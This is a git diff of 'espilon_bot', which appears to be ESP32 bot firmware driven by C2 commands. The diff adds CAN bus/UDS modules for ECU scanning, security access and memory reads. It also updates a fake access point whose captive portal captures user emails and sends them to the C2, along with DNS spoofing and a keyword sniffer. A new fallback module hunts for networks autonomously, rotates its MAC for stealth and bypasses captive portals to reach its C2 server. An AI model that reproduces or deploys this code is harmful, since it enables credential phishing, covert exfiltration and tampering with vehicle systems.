case 0x35: return "invalidKey";
|
||||
case 0x36: return "exceededNumberOfAttempts";
|
||||
case 0x37: return "requiredTimeDelayNotExpired";
|
||||
case 0x70: return "uploadDownloadNotAccepted";
|
||||
case 0x71: return "transferDataSuspended";
|
||||
case 0x72: return "generalProgrammingFailure";
|
||||
case 0x73: return "wrongBlockSequenceCounter";
|
||||
case 0x78: return "responsePending";
|
||||
case 0x7E: return "subFunctionNotSupportedInActiveSession";
|
||||
case 0x7F: return "serviceNotSupportedInActiveSession";
|
||||
default: return "unknown";
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */
|
||||
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
@ -0,0 +1,101 @@
|
||||
/*
|
||||
* canbus_uds.h
|
||||
* UDS (ISO 14229) diagnostic services over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* UDS Service IDs
|
||||
* ============================================================ */
|
||||
#define UDS_DIAG_SESSION_CTRL 0x10
|
||||
#define UDS_ECU_RESET 0x11
|
||||
#define UDS_CLEAR_DTC 0x14
|
||||
#define UDS_READ_DTC_INFO 0x19
|
||||
#define UDS_READ_DATA_BY_ID 0x22
|
||||
#define UDS_READ_MEM_BY_ADDR 0x23
|
||||
#define UDS_SECURITY_ACCESS 0x27
|
||||
#define UDS_COMM_CTRL 0x28
|
||||
#define UDS_WRITE_DATA_BY_ID 0x2E
|
||||
#define UDS_IO_CTRL 0x2F
|
||||
#define UDS_ROUTINE_CTRL 0x31
|
||||
#define UDS_REQUEST_DOWNLOAD 0x34
|
||||
#define UDS_REQUEST_UPLOAD 0x35
|
||||
#define UDS_TRANSFER_DATA 0x36
|
||||
#define UDS_TRANSFER_EXIT 0x37
|
||||
#define UDS_TESTER_PRESENT 0x3E
|
||||
|
||||
/* Session types */
|
||||
#define UDS_SESSION_DEFAULT 0x01
|
||||
#define UDS_SESSION_PROGRAMMING 0x02
|
||||
#define UDS_SESSION_EXTENDED 0x03
|
||||
|
||||
/* Negative Response Codes */
|
||||
#define UDS_NRC_GENERAL_REJECT 0x10
|
||||
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
|
||||
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
|
||||
#define UDS_NRC_INCORRECT_LENGTH 0x13
|
||||
#define UDS_NRC_RESPONSE_PENDING 0x78
|
||||
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
|
||||
#define UDS_NRC_INVALID_KEY 0x35
|
||||
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
|
||||
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
|
||||
|
||||
/* ============================================================
|
||||
* UDS Context
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
|
||||
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
|
||||
int timeout_ms; /* Response timeout */
|
||||
uint8_t session; /* Current session type */
|
||||
bool security_unlocked;
|
||||
} uds_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* High-Level UDS API
|
||||
* ============================================================ */
|
||||
|
||||
/* DiagnosticSessionControl (0x10) */
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
|
||||
|
||||
/* TesterPresent (0x3E) — keep-alive */
|
||||
int uds_tester_present(uds_ctx_t *ctx);
|
||||
|
||||
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap);
|
||||
|
||||
/* SecurityAccess (0x27) — request seed */
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len);
|
||||
|
||||
/* SecurityAccess (0x27) — send key */
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len);
|
||||
|
||||
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out);
|
||||
|
||||
/* Raw UDS request — returns response length or -1 */
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len);
|
||||
|
||||
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
|
||||
|
||||
/* Get human-readable NRC name */
|
||||
const char *uds_nrc_name(uint8_t nrc);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
File diff suppressed because it is too large
Load Diff
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
@ -0,0 +1,7 @@
|
||||
/*
|
||||
* cmd_canbus.h
|
||||
* CAN bus module — C2 command interface.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_canbus_register_commands(void);
|
||||
@ -1,4 +1,4 @@
|
||||
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
@ -6,10 +6,10 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static bool fakeap_running = false;
|
||||
atomic_bool fakeap_active = false;
|
||||
static bool portal_running = false;
|
||||
static bool sniffer_running = false;
|
||||
|
||||
@ -40,7 +40,7 @@ static int cmd_fakeap_start(
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (fakeap_running) {
|
||||
if (fakeap_active) {
|
||||
msg_error(TAG, "FakeAP already running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -66,7 +66,7 @@ static int cmd_fakeap_start(
|
||||
}
|
||||
|
||||
start_access_point(ssid, password, open);
|
||||
fakeap_running = true;
|
||||
fakeap_active = true;
|
||||
|
||||
msg_info(TAG, "FakeAP started", req);
|
||||
return 0;
|
||||
@ -85,7 +85,7 @@ static int cmd_fakeap_stop(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -101,7 +101,7 @@ static int cmd_fakeap_stop(
|
||||
}
|
||||
|
||||
stop_access_point();
|
||||
fakeap_running = false;
|
||||
fakeap_active = false;
|
||||
|
||||
msg_info(TAG, "FakeAP stopped", req);
|
||||
return 0;
|
||||
@ -127,7 +127,7 @@ static int cmd_fakeap_status(
|
||||
" Portal: %s\n"
|
||||
" Sniffer: %s\n"
|
||||
" Authenticated clients: %d",
|
||||
fakeap_running ? "ON" : "OFF",
|
||||
fakeap_active ? "ON" : "OFF",
|
||||
portal_running ? "ON" : "OFF",
|
||||
sniffer_running ? "ON" : "OFF",
|
||||
authenticated_count
|
||||
@ -150,7 +150,7 @@ static int cmd_fakeap_clients(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -172,7 +172,7 @@ static int cmd_fakeap_portal_start(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "Start FakeAP first", req);
|
||||
return -1;
|
||||
}
|
||||
@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off(
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t fakeap_cmds[] = {
|
||||
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
};
|
||||
|
||||
void mod_fakeap_register_commands(void)
|
||||
|
||||
@ -300,7 +300,15 @@ static void send_dns_spoof(
|
||||
int req_len,
|
||||
uint32_t ip
|
||||
) {
|
||||
uint8_t resp[512];
|
||||
/* DNS answer appends 16 bytes after the request */
|
||||
#define DNS_ANSWER_SIZE 16
|
||||
uint8_t resp[512 + DNS_ANSWER_SIZE];
|
||||
|
||||
if (req_len <= 0 || req_len > 512) {
|
||||
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(resp, req, req_len);
|
||||
|
||||
resp[2] |= 0x80; // QR = response
|
||||
|
||||
@ -6,6 +6,7 @@
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
static const char *TAG = "MODULE_NET_SNIFFER";
|
||||
|
||||
@ -57,7 +58,7 @@ static void wifi_sniffer_packet_handler(
|
||||
if (payload_len <= 0)
|
||||
return;
|
||||
|
||||
char printable[256];
|
||||
char printable[128];
|
||||
extract_printable(payload, payload_len, printable, sizeof(printable));
|
||||
if (!printable[0])
|
||||
return;
|
||||
@ -74,12 +75,22 @@ static void wifi_sniffer_packet_handler(
|
||||
if ((sniff_counter++ % 20) != 0)
|
||||
return;
|
||||
|
||||
msg_data(
|
||||
TAG,
|
||||
printable,
|
||||
strlen(printable),
|
||||
true, /* eof */
|
||||
NULL /* request_id */
|
||||
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
|
||||
char src_mac[18];
|
||||
snprintf(src_mac, sizeof(src_mac),
|
||||
"%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
frame[10], frame[11], frame[12],
|
||||
frame[13], frame[14], frame[15]);
|
||||
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"keyword='%s' payload='%.64s'",
|
||||
keywords[i], printable);
|
||||
|
||||
event_send(
|
||||
"WIFI_PROBE", "MEDIUM",
|
||||
src_mac, "0.0.0.0",
|
||||
0, 0, detail, NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
#define TAG "CAPTIVE_PORTAL"
|
||||
|
||||
@ -126,13 +127,14 @@ static esp_err_t post_handler(httpd_req_t *req)
|
||||
char *end = strchr(email, '&');
|
||||
if (end) *end = '\0';
|
||||
|
||||
/* Send captured email (NOUVELLE SIGNATURE) */
|
||||
msg_data(
|
||||
TAG,
|
||||
email,
|
||||
strlen(email),
|
||||
true, /* eof */
|
||||
NULL
|
||||
/* Send captured credential as HP| event */
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail), "user='%s'", email);
|
||||
event_send(
|
||||
"SVC_AUTH_ATTEMPT", "HIGH",
|
||||
"00:00:00:00:00:00",
|
||||
ip4addr_ntoa(&client_ip),
|
||||
0, 80, detail, NULL
|
||||
);
|
||||
|
||||
mark_authenticated(client_ip);
|
||||
|
||||
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
)
|
||||
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
@ -0,0 +1,172 @@
|
||||
/*
|
||||
* cmd_fallback.c
|
||||
* Fallback resilient connectivity — 3 C2 commands for pre-configuration.
|
||||
*
|
||||
* The hunt itself is fully autonomous (no C2 command to start it).
|
||||
* These commands are for status + pre-loading known networks while connected.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_fallback.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#define TAG "FB"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_status
|
||||
* Report state, SSID, method, MAC, stored networks count.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_state_t state = fb_hunt_get_state();
|
||||
uint8_t mac[6];
|
||||
fb_stealth_get_current_mac(mac);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
||||
" nets=%d c2_fb=%d",
|
||||
fb_hunt_state_name(state),
|
||||
fb_hunt_connected_ssid(),
|
||||
fb_hunt_connected_method(),
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
fb_config_net_count(),
|
||||
fb_config_c2_count());
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_add <ssid> [pass]
|
||||
* Add/update a known network. Pass "" to remove.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
const char *pass = (argc >= 2) ? argv[1] : "";
|
||||
|
||||
/* Empty string for pass means "remove" */
|
||||
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
||||
if (fb_config_net_remove(ssid)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Network not found", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (fb_config_net_add(ssid, pass)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Failed to add network (full?)", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_list
|
||||
* List known networks.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No known networks", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
||||
i, nets[i].ssid,
|
||||
nets[i].pass[0] ? "***" : "(open)");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
static const command_t fb_cmds[] = {
|
||||
{
|
||||
.name = "fb_status",
|
||||
.sub = NULL,
|
||||
.help = "Fallback state, MAC, method, config",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_add",
|
||||
.sub = NULL,
|
||||
.help = "Add known network: fb_net_add <ssid> [pass]",
|
||||
.min_args = 1,
|
||||
.max_args = 2,
|
||||
.handler = (command_handler_t)cmd_fb_net_add,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_list",
|
||||
.sub = NULL,
|
||||
.help = "List known networks",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_net_list,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Registration
|
||||
* ============================================================ */
|
||||
void mod_fallback_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
|
||||
|
||||
fb_config_init();
|
||||
fb_hunt_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
|
||||
command_register(&fb_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void mod_fallback_register_commands(void) { /* empty */ }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_fallback.h
|
||||
* Fallback resilient connectivity module.
|
||||
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_fallback_register_commands(void);
|
||||
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
@ -0,0 +1,271 @@
|
||||
/*
|
||||
* fb_captive.c
|
||||
* Captive portal detection and bypass strategies.
|
||||
*
|
||||
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
||||
* - 204 = no portal (internet open)
|
||||
* - 200/302 = captive portal detected
|
||||
*
|
||||
* Bypass strategies (in order):
|
||||
* 1. Direct C2 port — often not intercepted by portals
|
||||
* 2. POST accept — parse 302 redirect, GET portal accept page
|
||||
* 3. Wait + retry — some portals open after DNS traffic
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "FB_CAPTIVE";
|
||||
|
||||
#define CAPTIVE_TIMEOUT_S 5
|
||||
#define CAPTIVE_RX_BUF 512
|
||||
|
||||
/* ============================================================
|
||||
* Raw HTTP request to check connectivity
|
||||
* ============================================================ */
|
||||
|
||||
static bool resolve_host(const char *host, struct in_addr *out)
|
||||
{
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
struct addrinfo *res = NULL;
|
||||
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
||||
if (err != 0 || !res) {
|
||||
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
||||
return false;
|
||||
}
|
||||
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
||||
*out = addr->sin_addr;
|
||||
lwip_freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
static int http_get_status(const char *host, int port, const char *path,
|
||||
char *location_out, size_t location_cap)
|
||||
{
|
||||
struct in_addr ip;
|
||||
if (!resolve_host(host, &ip)) return 0;
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return 0;
|
||||
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr = ip;
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char req[256];
|
||||
int req_len = snprintf(req, sizeof(req),
|
||||
"GET %s HTTP/1.0\r\n"
|
||||
"Host: %s\r\n"
|
||||
"Connection: close\r\n"
|
||||
"User-Agent: Mozilla/5.0\r\n"
|
||||
"\r\n",
|
||||
path, host);
|
||||
|
||||
if (lwip_write(s, req, req_len) <= 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char buf[CAPTIVE_RX_BUF];
|
||||
int total = 0;
|
||||
int len;
|
||||
while (total < (int)sizeof(buf) - 1) {
|
||||
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
||||
if (len <= 0) break;
|
||||
total += len;
|
||||
buf[total] = '\0';
|
||||
if (strstr(buf, "\r\n\r\n")) break;
|
||||
}
|
||||
lwip_close(s);
|
||||
|
||||
if (total == 0) return 0;
|
||||
buf[total] = '\0';
|
||||
|
||||
int status = 0;
|
||||
char *sp = strchr(buf, ' ');
|
||||
if (sp) {
|
||||
status = atoi(sp + 1);
|
||||
}
|
||||
|
||||
if (location_out && location_cap > 0) {
|
||||
location_out[0] = '\0';
|
||||
char *loc = strstr(buf, "Location: ");
|
||||
if (!loc) loc = strstr(buf, "location: ");
|
||||
if (loc) {
|
||||
loc += 10;
|
||||
char *end = strstr(loc, "\r\n");
|
||||
if (end) {
|
||||
size_t copy_len = end - loc;
|
||||
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
||||
memcpy(location_out, loc, copy_len);
|
||||
location_out[copy_len] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal detection
|
||||
* ============================================================ */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Checking for captive portal...");
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "No captive portal (got 204)");
|
||||
return FB_PORTAL_NONE;
|
||||
}
|
||||
|
||||
if (status == 200 || status == 302 || status == 301) {
|
||||
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
if (status == 0) {
|
||||
status = http_get_status(
|
||||
"captive.apple.com", 80,
|
||||
"/hotspot-detect.html", NULL, 0);
|
||||
|
||||
if (status == 200) {
|
||||
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
||||
return FB_PORTAL_UNKNOWN;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
bool fb_captive_bypass(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
||||
|
||||
/* Strategy 1: Direct C2 port */
|
||||
{
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s >= 0) {
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
lwip_close(s);
|
||||
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
lwip_close(s);
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
||||
}
|
||||
|
||||
/* Strategy 2: Follow redirect + GET accept page */
|
||||
{
|
||||
char location[256] = {0};
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", location, sizeof(location));
|
||||
|
||||
if ((status == 302 || status == 301) && location[0]) {
|
||||
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
||||
|
||||
char *host_start = strstr(location, "://");
|
||||
if (host_start) {
|
||||
host_start += 3;
|
||||
char *path_start = strchr(host_start, '/');
|
||||
char host_buf[64] = {0};
|
||||
|
||||
if (path_start) {
|
||||
size_t hlen = path_start - host_start;
|
||||
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
||||
memcpy(host_buf, host_start, hlen);
|
||||
} else {
|
||||
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
||||
path_start = "/";
|
||||
}
|
||||
|
||||
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
||||
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
int check = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (check == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
||||
}
|
||||
|
||||
/* Strategy 3: Wait + retry */
|
||||
{
|
||||
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
|
||||
bool fb_captive_bypass(void) { return false; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
@ -0,0 +1,24 @@
|
||||
/*
|
||||
* fb_captive.h
|
||||
* Captive portal detection and bypass strategies.
|
||||
*/
|
||||
#pragma once
|
||||
|
